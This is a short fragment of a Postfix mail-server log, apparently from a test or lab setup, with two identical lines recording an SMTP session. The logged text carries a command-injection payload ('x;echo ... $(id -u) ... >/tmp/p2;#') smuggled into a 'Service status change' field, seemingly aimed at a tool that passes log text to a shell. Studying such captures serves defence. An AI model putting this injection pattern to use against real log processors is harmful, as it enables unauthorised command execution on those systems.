Aug 20 17:48:19 mail postfix/smtpd[473]: improper command pipelining after VRFY from unknown[172.17.0.1]: : Service status change: h x;echo f1:u$(id -u):n$(id -un)>/tmp/p2;# changed from stopped to running\r
Aug 20 17:48:19 mail postfix/smtpd[473]: improper command pipelining after VRFY from unknown[172.17.0.1]: : Service status change: h x;echo f1:u$(id -u):n$(id -un)>/tmp/p2;# changed from stopped to running\r